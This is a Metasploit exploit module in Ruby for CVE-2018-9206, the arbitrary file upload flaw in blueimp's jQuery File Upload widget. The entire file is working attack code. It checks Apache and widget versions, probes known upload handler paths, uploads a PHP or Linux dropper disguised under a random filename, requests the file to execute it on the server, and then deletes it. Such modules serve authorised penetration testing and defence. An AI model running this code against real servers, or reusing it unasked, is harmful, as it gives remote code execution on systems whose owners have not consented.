blueimp's jQuery (Arbitrary) File Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "blueimp's jQuery (Arbitrary) File Upload",
      'Description'    => %q{
        This module exploits an arbitrary file upload in the sample PHP upload
        handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.

        Due to a default configuration in Apache 2.3.9+, the widget's .htaccess
        file may be disabled, enabling exploitation of this vulnerability.

        This vulnerability has been exploited in the wild since at least 2015
        and was publicly disclosed to the vendor in 2018. It has been present
        since the .htaccess change in Apache 2.3.9.

        This module provides a generic exploit against the jQuery widget.
      },
      'Author'         => [
        'Claudio Viviani',     # WordPress Work the Flow (Arbitrary) File Upload
        'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC
        'wvu'                  # Metasploit module
      ],
      'References'     => [
        ['CVE', '2018-9206'],
        ['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],
        ['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],
        ['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],
        ['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],
        ['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],
        ['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']
      ],
      'DisclosureDate' => '2018-10-09', # Larry's disclosure to the vendor
      'License'        => MSF_LICENSE,
      'Platform'       => ['php', 'linux'],
      'Arch'           => [ARCH_PHP, ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'Targets'        => [
        ['PHP Dropper',   'Platform' => 'php',   'Arch' => ARCH_PHP],
        ['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64]]
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])
    ])
  end

  def version_paths
    %w[
      /package.json
      /bower.json
    ].map { |u| normalize_uri(target_uri.path, u) }
  end

  # List from PoC sorted by frequency
  def upload_paths
    %w[
      /server/php/index.php
      /server/php/upload.class.php
      /server/php/UploadHandler.php
      /example/upload.php
      /php/index.php
    ].map { |u| normalize_uri(target_uri.path, u) }
  end

  def check
    a = nil

    version_paths.each do |u|
      vprint_status("Checking #{u}")

      res = send_request_cgi(
        'method' => 'GET',
        'uri'    => u
      )

      next unless res

      unless a
        res.headers['Server'] =~ /Apache\/([\d.]+)/ &&
          $1 && (a = Rex::Version.new($1))

        if a && a >= Rex::Version.new('2.3.9')
          vprint_good("Found Apache #{a} (AllowOverride None may be set)")
        elsif a
          vprint_warning("Found Apache #{a} (AllowOverride All may be set)")
        end
      end

      next unless res.code == 200 && (j = res.get_json_document) &&
                  j['version'] && (v = Rex::Version.new(j['version']))

      if v <= Rex::Version.new('9.22.0')
        vprint_good("Found unpatched jQuery File Upload #{v}")
        return CheckCode::Appears
      else
        vprint_error("Found patched jQuery File Upload #{v}")
        return CheckCode::Safe
      end
    end

    CheckCode::Unknown
  end

  def find_upload
    upload_paths.each do |u|
      vprint_status("Checking #{u}")

      res = send_request_cgi(
        'method' => 'GET',
        'uri'    => u
      )

      if res && res.code == 200
        vprint_good("Found #{u}")
        return u
      end
    end

    nil
  end

  def exploit
    unless check == CheckCode::Appears && (u = find_upload)
      fail_with(Failure::NotFound, 'Could not find target')
    end

    f = "#{rand_text_alphanumeric(8..42)}.php"
    p = normalize_uri(File.dirname(u), 'files', f)

    print_status('Uploading payload')
    res = upload_payload(u, f)

    unless res && res.code == 200 && res.body.include?(f)
      fail_with(Failure::NotVulnerable, 'Could not upload payload')
    end

    print_good("Payload uploaded: #{full_uri(p)}")

    print_status('Executing payload')
    exec_payload(p)

    print_status('Deleting payload')
    delete_payload(u, f)
  end

  def upload_payload(u, f)
    p = get_write_exec_payload(unlink_self: true)

    m = Rex::MIME::Message.new
    m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}"))

    send_request_cgi(
      'method' => 'POST',
      'uri'    => u,
      'ctype'  => "multipart/form-data; boundary=#{m.bound}",
      'data'   => m.to_s
    )
  end

  def exec_payload(p)
    send_request_cgi({
      'method' => 'GET',
      'uri'    => p
    }, 0)
  end

  def delete_payload(u, f)
    send_request_cgi(
      'method'   => 'DELETE',
      'uri'      => u,
      'vars_get' => {'file' => f}
    )
  end

end